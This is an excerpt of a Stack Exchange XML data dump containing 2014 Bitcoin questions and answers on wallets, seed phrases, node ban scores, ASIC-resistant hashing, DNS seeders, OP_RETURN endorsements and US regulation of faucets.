  <row Id="29976" PostTypeId="2" ParentId="29964" CreationDate="2014-08-10T16:16:12.990" Score="2" Body="&lt;p&gt;You could most certainly spin up your own server :) Included in the Github repo is a &lt;a href=&quot;https://github.com/hivewallet/hive-js/blob/master/Vagrantfile&quot; rel=&quot;nofollow&quot;&gt;Vagrantfile&lt;/a&gt; that uses Ansible to deploy and provision an instance of hive-js. This can be handy not only for creating a local test instance, but also for &lt;a href=&quot;https://blog.logentries.com/2014/03/devops-vagrant-with-aws-ec2-digital-ocean/&quot; rel=&quot;nofollow&quot;&gt;deploying to more public environments such as DigitalOcean or AWS&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, because &lt;a href=&quot;https://github.com/hivewallet/hive-js/wiki/Hive-Web-FAQ#how-do-i-backup-my-wallet&quot; rel=&quot;nofollow&quot;&gt;Hive Web implements BIP32/BIP39&lt;/a&gt;, other wallets implementing the same standard should allow for compatible 12-word seed phrases to be moved between clients. In addition to being a high priority item for Hive OSX, it seems that most if not all Bitcoin wallet developers are striving to implement these same standards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails, you could use something like &lt;a href=&quot;http://bip32.org/&quot; rel=&quot;nofollow&quot;&gt;http://bip32.org/&lt;/a&gt; to manually recover your master extended key and sweep the funds elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2014-08-10T16:16:12.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29977" PostTypeId="2" ParentId="29947" CreationDate="2014-08-10T16:19:04.427" Score="5" Body="&lt;p&gt;If some client's actions do not correspond with the Bitcoin protocol in a disruptive manner (e.g. flooding with invalid messages) a ban counter is increased depending on the seriousness of the violation of the protocol. When the ban meter reaches some predefined value (can be set with the &lt;code&gt;-banscore&lt;/code&gt; option in &lt;code&gt;bitcoind&lt;/code&gt;, default is 100) connection to that client is interrupted for a day (that's the default at least, but again, this can be changed with the &lt;code&gt;-bantime&lt;/code&gt; option).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The values used are arbitrary (e.g. 100). It all about relativity. I don't know exactly how much penalty you get for which violation, but this can be found in the source code. If someone feels the need to compile a list of the amount of penalty per violation, please edit this answer.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-08-10T16:19:04.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29978" PostTypeId="2" ParentId="29975" CreationDate="2014-08-10T17:43:23.297" Score="22" Body="&lt;p&gt;It means that there will be no significant speedup by implementing the algorithm in an ASIC, as compared to a CPU based implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is usually achieved by requiring a lot of memory, which when implementing this on an ASIC, translates to needing lots of physical area on the chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC implementations derive their power from having many physically parallel and pipelined threads on one chip, each requiring a certain piece of chip real estate.&#xA;Now if your algorithm requires lots of real estate even for one step of the pipeline, there will not but much room to actually parallelize or pipeline the algorithm.  Thereby you will lose the parallelizing advantage of an ASIC implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;scrypt&lt;/code&gt; is such an algorithm. Used for instance by Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-08-10T17:43:23.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29980" PostTypeId="2" ParentId="22875" CreationDate="2014-08-10T22:45:40.653" Score="3" Body="&lt;p&gt;I've looked into 1broker and while there is quite a bit of good feedback about the site and the GUI is very clean the 4 guys who run it are students. I ran a hedge fund for many years and know a fair bit about what they do which is CFD trading. The short answer is, and it sucks in a way because eventually they will tank. A black swan event will come along and take them out.&#xA;They don't understand hedging (which the main guy says he uses &quot;when he feels it is necessary&quot;) That is not hedging. Hedging is a considered and consistent strategy you put in place before you start running your trading business. Not something you do when the mood strikes you. However, it is my belief that eventually a professional group will build a professional platform that supports digital currency as security. The world has to catch up with the idea and i am certain it is coming.&#xA;I've got a few BTC I wouldn't mind putting to work. Anyone else?&lt;/p&gt;&#xA;" OwnerUserId="18932" LastActivityDate="2014-08-10T22:45:40.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29981" PostTypeId="1" CreationDate="2014-08-11T08:32:29.750" Score="0" ViewCount="401" Body="&lt;p&gt;I do not understand how addresses and wallets are related. I see that you are advised to generate an address for every transaction and, furthermore, use (multi-in multi-out) tumblers to maintain anonimity. This will create a hell amount of (unspent) keys+addresses. How do you manage them all and handle complexity? How do you remember that this was a simple transaction from that wallet to mine and the rest is just intermediate activity. Is a wallet just a collection of (unspent) addresses so that you can simply merge different (wallets of) bitcoins by just gathering these keys/addresses? I understand that &lt;code&gt;to have a coin&lt;/code&gt; means that you know which address has some unspent bitcoins and you have a key to demonstrate that it is your coin/address in the next transaction. But what if you share same coin addresses between wallets and one wallet will think that there are still money while you spent them (peahaps partially)? What about compatibility of various wallets, is there a strandard/converter? Am I right that the thing that you must keep in mind is the list of addresses plus corresponding keys and the wallet is such a record?&lt;/p&gt;&#xA;" OwnerUserId="7292" LastEditorUserId="7292" LastEditDate="2014-08-11T11:00:04.013" LastActivityDate="2015-08-09T04:03:48.453" Title="What is a bitcoin wallet?" Tags="|wallet|address|" AnswerCount="2" CommentCount="2" ClosedDate="2015-08-11T16:24:30.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="29982" PostTypeId="1" CreationDate="2014-08-11T13:44:44.387" Score="0" ViewCount="102" Body="&lt;p&gt;I see that transactions are recorded as blocks in the blockchain. Thereby, blocks compete for the order in the blockchain in case of forks. I do not quite understand if it is block encoding is labor-intensive or validation of the encoded block (and who of them are miners or both  are miners). Yet, my question is if all of those who make this work are rewarded or only those who win the competitions. It seems (for two reaons) that only winning-block miners receive the mined coins/fees and this is why miners join into collective farms (another reason is that loosers do not leave a trace/rewarding address in the block chain, so you cannot reward them even if you wish). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I see here is that competition between miners is absolutely identical to competition between the blocks. Winning block is produced by positive feedback: everybody must drop the short chain in favour of longer leader. The bitcoins algorithm assumption is that this produces a single block chain in short time. Because mining is also a subject of bitcoin assumptions, we must apply the same logic to the miners: -- single miners are forced to join into larger pools, pools into larger pools larger pools &#xA;until very soon (the bitcoin block fork resolution teaches us that no longer than in 6 iterations) we'll end up with a single grand pool of miners. Bitcoin algorithm ensures (if the assumption is right) that this will end up in a single pool of minders very soon. Is miner-pool singularity expected?&lt;/p&gt;&#xA;" OwnerUserId="7292" LastActivityDate="2014-08-12T10:50:16.723" Title="Who is rewarded" Tags="|mining-pools|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29983" PostTypeId="2" ParentId="12029" CreationDate="2014-08-11T15:37:59.360" Score="2" Body="&lt;p&gt;ASIC is any integral circuit, any piece of Hardware or microchip. Yes, any microchip is an ASIC. This means that your CPU is also an ASIC. But, CPU is not efficient ASIC for doing particular task -- it is too universal. That is, CPU is supposed to be programmable. Programmability is flexibility - you can easily teach your PC what to do by writing a program. This is very flexible but, unfortunately flexibity comes with price -- it is very inefficient. You describe your instructions in a program and processor takes frist instruction, does something (moves some data between regs/memory or adds/multiplies register contents) and then takes next instruction. This is very slow but allows one piece of hardware to do (emulate) any task. Universal processors are slow for two reasons: they do a lot of unnecessary tasks (fetch program instructions) and do it serailly, in one stream whereas parallel processing is possible. Well, the latter is mitigated by multicores, GPUs and FPGAs. But, you can do better when you know your task in advance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a special processor, tailored purposefully for your task. These are application specific processors (aka embedded computers). They do not need to fetch the program instructions step by step. They already know what to do. The program is hardwared into them, like the &quot;program&quot; to support you is hardwared into the armchair whenever you sit on them. They just fetch the next piece of data (e.g. a key) and produce what is requred in the application (e.g. a hash). Everything is done in one step -- no need for 1000 intrmediate steps! Everything runs 1000 times faster. This is how specialized processors are usually faster than using CPU. Specialization means that you sacrifice universality for efficiency/speed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, GPUs and FPGAs are also kinds of ASICs, as any chips. GPUs specialize on graphical tasks, which are easily paralellizable and thus GPUs are basically universal multicore processors. FPGAs are ultimate multicore universal processors. They expose millions of tinyest cores, each capable to emulate a logic (aka boolean) gate. They are intended to emulate digital circuits, which are nothing more but collections of such gates. Yes, the pentium processor is a circuit of millions of gates. It would take ages to simulate how it executes Windows for billions of clock cycles by a computer logic simulator. FPGA expexiates the simulation 100 000 times. FPGA can emulate any digital ASIC that fits into it. So, it is universal. If you know your application, you may produce application-specific circuit that will run (10x) faster than the FPGA.&lt;/p&gt;&#xA;" OwnerUserId="7292" LastEditorUserId="7292" LastEditDate="2014-08-11T16:12:33.910" LastActivityDate="2014-08-11T16:12:33.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29984" PostTypeId="2" ParentId="29965" CreationDate="2014-08-11T17:23:25.933" Score="1" Body="&lt;p&gt;It &lt;em&gt;is&lt;/em&gt; recognizing your GPU, as &quot;capeverde&quot;. ATI has code-names for their GPU revisions, such as Cape Verde, Winter Park, Tahiti, and so on, listed &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_AMD_graphics_processing_units&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Cape Verde matches your model on that list.&lt;/p&gt;&#xA;" OwnerUserId="3962" LastActivityDate="2014-08-11T17:23:25.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29985" PostTypeId="1" AcceptedAnswerId="29991" CreationDate="2014-08-11T19:41:27.593" Score="0" ViewCount="133" Body="&lt;p&gt;Lets say someone was writing a transaction solely to denote the existence of something, or a timestamp, or writing something in OP_RETURN&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could that transaction be signed by other addresses, kind of as a &quot;I agree with this statement&quot; way, or a way that future analysis of that transaction showed that particular parties agreed with the transaction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm imagining something that does not require the sender to have a multisignature address created with other parties. Or some way of having multiple outputs from different parties going to one input)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Tom requested the location of Atlantis, many parties are watching these requests on the blockchain and can collaborate on the answer. Eventually Tom received a transaction containing the location in the OP_RETURN and it came from NOAA. Tom doesn't trust NOAA's use of GPS and much prefers GLONASS, so this transaction was also 'signed' or endorsed in some way by the Hydrometeorological Center of Russia. &quot;Wow both agencies agree on this, I'm convinced now&quot;&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-08-11T19:47:05.717" LastActivityDate="2014-08-12T06:14:40.573" Title="multiple parties to sign a transaction before being broadcast (or after, but either way be associated with)" Tags="|transactions|blockchain|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29986" PostTypeId="1" CreationDate="2014-08-11T20:05:20.993" Score="0" ViewCount="699" Body="&lt;p&gt;I would like to know how to run multiple DNS Seeds on the same node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems fairly straight-forward as described in: &lt;a href=&quot;https://github.com/sipa/bitcoin-seeder&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sipa/bitcoin-seeder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want two DNS Seeds:&#xA;bitcoin-seed.mydomain.com&#xA;testnet-seed.mydomain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems as per the existing instructions I would either need to run multiple VMs or at the very least create new users and redirect port 53 to them. (I am not sure I can redirect port 53 to multiple users)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can set this up on one VPS with Root access?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2022-11-13T22:19:24.503" Title="Running multiple DNS Seeds" Tags="|seed|dns|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29987" PostTypeId="1" CreationDate="2014-08-11T20:28:19.120" Score="2" ViewCount="125" Body="&lt;p&gt;Can they have arbitrary scripts, as long as they are under a certain length?&lt;/p&gt;&#xA;" OwnerUserId="18688" LastActivityDate="2014-08-12T05:54:54.083" Title="What are the requirements for a ScriptPubKey to be valid?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29990" PostTypeId="2" ParentId="29987" CreationDate="2014-08-12T05:54:54.083" Score="3" Body="&lt;p&gt;In theory they can have any arbitrary script. In practice, only a handful of scripts are considered standard and will be relayed on the network: pay to pubkey, pay to pubkey hash, null data (op_return), pay to script hash and raw multisig.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-08-12T05:54:54.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29991" PostTypeId="2" ParentId="29985" CreationDate="2014-08-12T06:14:40.573" Score="2" Body="&lt;p&gt;You could do something along those lines:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a transaction to a multisig address with private keys that the different parties control.&lt;/li&gt;&#xA;&lt;li&gt;The parties sign a transaction having for input that multisig (which shows they agreed and signed) and for output the OP_RETURN.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-08-12T06:14:40.573" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29992" PostTypeId="1" AcceptedAnswerId="29996" CreationDate="2014-08-12T09:55:27.877" Score="3" ViewCount="1027" Body="&lt;p&gt;I generated a paper wallets with offlineaddress.com. Is there a way to check if the private key corresponds to the public key without compromising the wallet by loading it onto an online computer?&lt;/p&gt;&#xA;" OwnerUserId="18946" LastActivityDate="2014-08-12T11:52:37.623" Title="Verify paper wallets" Tags="|paper-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29993" PostTypeId="2" ParentId="29982" CreationDate="2014-08-12T10:50:16.723" Score="-1" Body="&lt;p&gt;Everybody has his favorite.&lt;br /&gt;&#xA;Some likes to go solo, some likes to go investing on cex;&lt;br /&gt;&#xA;some likes to mess with slush's, and some are digging in their own community.&lt;br /&gt;&#xA;So my answer will be a no, it's just like the world economics.&lt;br /&gt;&#xA;Look around, what did you see?&lt;br /&gt;&#xA;Lots of countries around the world. Ain't seeing all belongs to USA(no offense).&lt;br /&gt;&#xA;A big country like Russia gets along while a small country like Vatican still survives and playing a big role around the world.&lt;br /&gt;&#xA;Of course, there are some leave and joins, just like immigrations.&lt;br /&gt;&#xA;So, it won't be possible for bitcoin having a last man standing tournament.&lt;/p&gt;&#xA;" OwnerUserId="18796" LastActivityDate="2014-08-12T10:50:16.723" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29994" PostTypeId="2" ParentId="29981" CreationDate="2014-08-12T11:06:33.967" Score="0" Body="&lt;p&gt;It will be classified as double-spending and won't suceed&lt;br /&gt;&#xA;Quoted from &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Double-spending&lt;/a&gt; :&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...Bitcoin protects against double spending by verifying each&#xA;  transaction added to the block chain to ensure that the inputs for the&#xA;  transaction had not previously already been spent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;===============================================================================&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take the keys and addresses as a bank card, I'd say. Each bank card has it's code, so as Bitcoin.&lt;br /&gt;&#xA;Those keys are somewhat localized(thus a private key is needed for wallet transferring)&#xA;blockchains only works as a transaction recording platform.&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;===============================================================================&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is using &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;Secp256k1&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;===============================================================================&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;Such a record&quot; is needed as this identifies you on network. A good way is keep it on a paper and lock into a safe.&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;===============================================================================&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://en.bitcoin.it/wiki/Private_keys&quot; rel=&quot;nofollow&quot;&gt;Private key&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18796" LastActivityDate="2014-08-12T11:06:33.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29995" PostTypeId="2" ParentId="28103" CreationDate="2014-08-12T11:17:41.877" Score="-1" Body="&lt;p&gt;If you want to encrypt those keys, i would recommend using RSA-2048. &lt;br /&gt;&#xA;It is above military grade and will not be factorized in the near future (well, i'll take that as upcoming 15 years or so, who knows the computer technologies booms up?)&lt;/p&gt;&#xA;" OwnerUserId="18796" LastActivityDate="2014-08-12T11:17:41.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29996" PostTypeId="2" ParentId="29992" CreationDate="2014-08-12T11:52:37.623" Score="8" Body="&lt;p&gt;First off, only trust highly-reputable software to generate private keys, especially if they're web-based. It seems like this software has only 16 stars on GitHub and only 2 contributors: &lt;a href=&quot;https://github.com/mikewoods/OfflineAddress.com&quot;&gt;https://github.com/mikewoods/OfflineAddress.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, the only way to verify that a private key corresponds to the public key is to actually run the algorithm on a computer. My best advice here is to use a computer that is offline and that boots a highly-reputable open source operating system. &lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-08-12T11:52:37.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29997" PostTypeId="2" ParentId="29986" CreationDate="2014-08-12T14:06:21.677" Score="2" Body="&lt;p&gt;Asking this question on Super User might have resulted in a quicker and more response as this is strictly speaking not limited to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sipa's bitcoin-seeder allows you to run the DNS node on a &lt;a href=&quot;https://github.com/sipa/bitcoin-seeder/blob/master/main.cpp#L43&quot; rel=&quot;nofollow&quot;&gt;port other than 53&lt;/a&gt;, so that you could set up a DNS seed for each of the networks you want to support. In order to receive incoming queries and respond to them you'd then set up a BIND server that acts as a slave for the individual subdomains and then &lt;a href=&quot;http://www.zytrax.com/books/dns/ch9/delegate.html&quot; rel=&quot;nofollow&quot;&gt;delegate incoming queries&lt;/a&gt; to the corresponding bitcoin-seeder. The zone configuration of the BIND daemon does allow you to &lt;a href=&quot;http://www.zytrax.com/books/dns/ch7/zone.html#masters&quot; rel=&quot;nofollow&quot;&gt;specify ports other than port 53&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-08-12T14:06:21.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29998" PostTypeId="2" ParentId="13032" CreationDate="2014-08-12T14:37:36.550" Score="2" Body="&lt;p&gt;I've made several purchases from &lt;a href=&quot;http://bitelectronics.net/&quot; rel=&quot;nofollow&quot;&gt;bitelectronics.net&lt;/a&gt;. As a bonus, Mikko, they're based in your (and my) country!&lt;/p&gt;&#xA;" OwnerUserId="214" LastActivityDate="2014-08-12T14:37:36.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29999" PostTypeId="2" ParentId="29907" CreationDate="2014-08-12T18:18:38.703" Score="4" Body="&lt;p&gt;The trade of cryptocurrencies for other cryptocurrencies is not regulated in the United States under FinCEN guidance or IRS guidance, as of August 12th, 2014&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptocurrencies are designated as property under IRS guidance, and property generally enjoys &lt;code&gt;like-kind&lt;/code&gt; treatment to defer capital gains until that property is exchanged for US Dollars (or other fiat currency) and kept in US Dollars for a certain period of time. These are property regulations and a consequence of designating cryptocurrency as property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such a 'paid' faucet would not be money transmitting, or incur a tax event. And there are no other prohibitions on cryptocurrencies in the United States (from a federal standpoint, state and municipal governments may have leeway to make up something else).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A free faucet, on the other hand, may incur a tax event of some type (income?), but the amount is typically very small and sanctions against amounts that small are an afterthought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not advice.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-08-13T00:44:53.530" LastActivityDate="2014-08-13T00:44:53.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30001" PostTypeId="1" CreationDate="2014-08-12T18:46:19.787" Score="18" ViewCount="1794" Body="&lt;p&gt;I'm sure that cryptocurrencies will play a huge part of the economy across the solar system, when we have colonized many different planets, moons, and asteroids. But there are problems with using a single coin for the entire solar system. Let's just start with the example of a Mars colony. Long distances mean long delays in communication so it would take a very long time to get confirmations of Bitcoin transactions that originate on Mars. That could be problematic. Additionally, people on Mars could never hope to mine bitcoins because the average communications delay between Earth and Mars is 20 minutes one way, which is twice as long as the ten-minute blocks of Bitcoin. So I believe that a different coin would be best for each planet. But here's the crazy part. Even if Mars had its own coin (let's call it Marscoin), Earth would most likely have more computer processing power, so miners on Earth could download Marscoin's block chain and extend it faster than the miners on Mars. Then the miners on Mars would no longer be able to mine Marscoin. Then we would be back to the same problem of using Bitcoin on Mars. So, I think someone would have to create a coin that can somehow be planet-specific, so that longer block chains from other planets will always be rejected.&lt;/p&gt;&#xA;" OwnerUserId="18953" LastEditorUserId="5406" LastEditDate="2020-06-06T15:40:02.560" LastActivityDate="2020-06-06T15:40:02.560" Title="How do you create a planet-specific cryptocurrency that will ignore longer block chains from other planets?" Tags="|blockchain|mining-theory|latency|interplanetary|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30002" PostTypeId="1" AcceptedAnswerId="30003" CreationDate="2014-08-12T20:49:32.030" Score="0" ViewCount="246" Body="&lt;p&gt;I need to track an amount of Bitcoins in a database.  Is a UINT64 sufficient?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd rather not deal with floating point types, and the rounding errors they end with.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-08-12T21:51:56.603" LastActivityDate="2014-08-12T21:51:56.603" Title="How many bits are in a Bitcoin?" Tags="|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30003" PostTypeId="2" ParentId="30002" CreationDate="2014-08-12T21:30:02.913" Score="6" Body="&lt;p&gt;yes, UINT64 is sufficient, which is in fact how the Bitcoin protocol works internally. The conversion factor from UINT64 to BTC is 1.0e8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not using floating point numbers is a very good idea indeed.&lt;/p&gt;&#xA;" OwnerUserId="14149" LastActivityDate="2014-08-12T21:30:02.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30004" PostTypeId="1" CreationDate="2014-08-12T23:23:50.567" Score="1" ViewCount="322" Body="&lt;ul&gt;&#xA;&lt;li&gt;I'm trying to import a private key that I exported from Blockchain, I import it, the right public key is created, but no transactions show up or balance?&lt;br&gt;&#xA;I've imported a bunch of private keys. and this is the first time I've run into something like this.&lt;br&gt;&#xA;Could it be the date? The key is exported in the right Bitcoin-QT format. What could it be?&lt;/li&gt;&#xA;&lt;li&gt;How can I enable 0 confirmation spending? I want to use it between addresses that I use so I don't need to worry about double spending; I really don't want to alter the source code and all that.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18955" LastEditorUserId="2306" LastEditDate="2014-11-11T05:08:56.760" LastActivityDate="2014-11-11T05:08:56.760" Title="Balance doesn't show up after import in multibit" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30005" PostTypeId="1" CreationDate="2014-08-13T00:34:31.637" Score="4" ViewCount="4649" Body="&lt;p&gt;Assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I've memorized my electrum seed and will never forget it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the future, I'm robbed of everything but mind and body&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the future, Electrum software is not easily accessible or I can&#xA;only access thin clients&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to use my 12 word seed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML port of Electrum hosted somewhere?  iOS wallet that's electrum compatible? Etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason it's local software and not just HTML? (other than someone dedicating the time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason 12 word seeds aren't universal across wallets that use 12 word seeds?&lt;/p&gt;&#xA;" OwnerUserId="18957" LastEditorUserId="2306" LastEditDate="2014-10-23T06:22:42.480" LastActivityDate="2018-01-04T10:02:35.163" Title="Can I use my Electrum seed without Electrum?" Tags="|electrum|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30006" PostTypeId="2" ParentId="29907" CreationDate="2014-08-13T01:32:54.657" Score="1" Body="&lt;p&gt;There are several groups which may be able to impose regulatory control of the Bitcoin economy. Bitcoin can be subject to regulations from several branches of government:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IRS - Considers bitcoin property and does not require reporting for spending sums under $600. &lt;a href=&quot;http://online.wsj.com/news/articles/SB10001424052702303949704579461502538024502&quot; rel=&quot;nofollow&quot;&gt;http://online.wsj.com/news/articles/SB10001424052702303949704579461502538024502&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FinCEN - Generally requires the same MSB or Money Transmitter regulations which it does for WesternUnion, MoneyGram, Banks, PayPal, etc which is to report large and/or suspicious transactions and also possibly require client information. However, with coins this might not even be a consideration as coinstar does not require your ID to turn your coins into Amazon gift cards.. &lt;a href=&quot;http://en.wikipedia.org/wiki/Know_your_customer&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Know_your_customer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;State - Each state has it's own finance laws, and can have Bitcoin specific laws. New York, for example  BitLicense being developed. For now you could run either a free or paid faucet but you would have to file for a license within 45 days of it being legislated. &lt;a href=&quot;http://www.dfs.ny.gov/about/press2014/pr1407171-vc.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.dfs.ny.gov/about/press2014/pr1407171-vc.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several more organizations which might be able to impose regulations on Bitcoin, CoinDesk wrote a nice article on this. &lt;a href=&quot;http://www.coindesk.com/information/is-bitcoin-legal/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/information/is-bitcoin-legal/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-08-13T01:32:54.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30007" PostTypeId="2" ParentId="30001" CreationDate="2014-08-13T01:46:31.260" Score="4" Body="&lt;p&gt;Simply limit the block target (i.e. 10 minutes) to the speed of light (300,000 km/s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless there is some wormhole or other unknown to reduce this limit, Bitcoin is safe from honest mining from any planet outside of 180,000,000 kilometers away (300000km/s * 60 sec * 10 minutes) since any miner can't keep up with the blockchain and would get any block at about the time the next block comes out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone with more advanced technology / more hashing power could create a 51% attack and submit it to disrupt the Bitcoin economy even outside of this radius.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-08-13T01:46:31.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30008" PostTypeId="1" AcceptedAnswerId="30012" CreationDate="2014-08-13T02:56:51.003" Score="0" ViewCount="165" Body="&lt;p&gt;Is it possible to take a lower-cased address like 1dice8emzmqkvrge4qc9buff9px3xaydp and convert it to the properly capitalized address of 1dice8EMZmqKvrGE4Qc9bUFf9PX3xaYDp ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked around and everything can simply tell me whether it is valid or not.  And without the correct capitalization, the address is of course not valid.&lt;/p&gt;&#xA;" OwnerUserId="18959" LastActivityDate="2014-08-13T05:16:47.457" Title="Convert an lower-cased address to a properly capitalized address?" Tags="|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
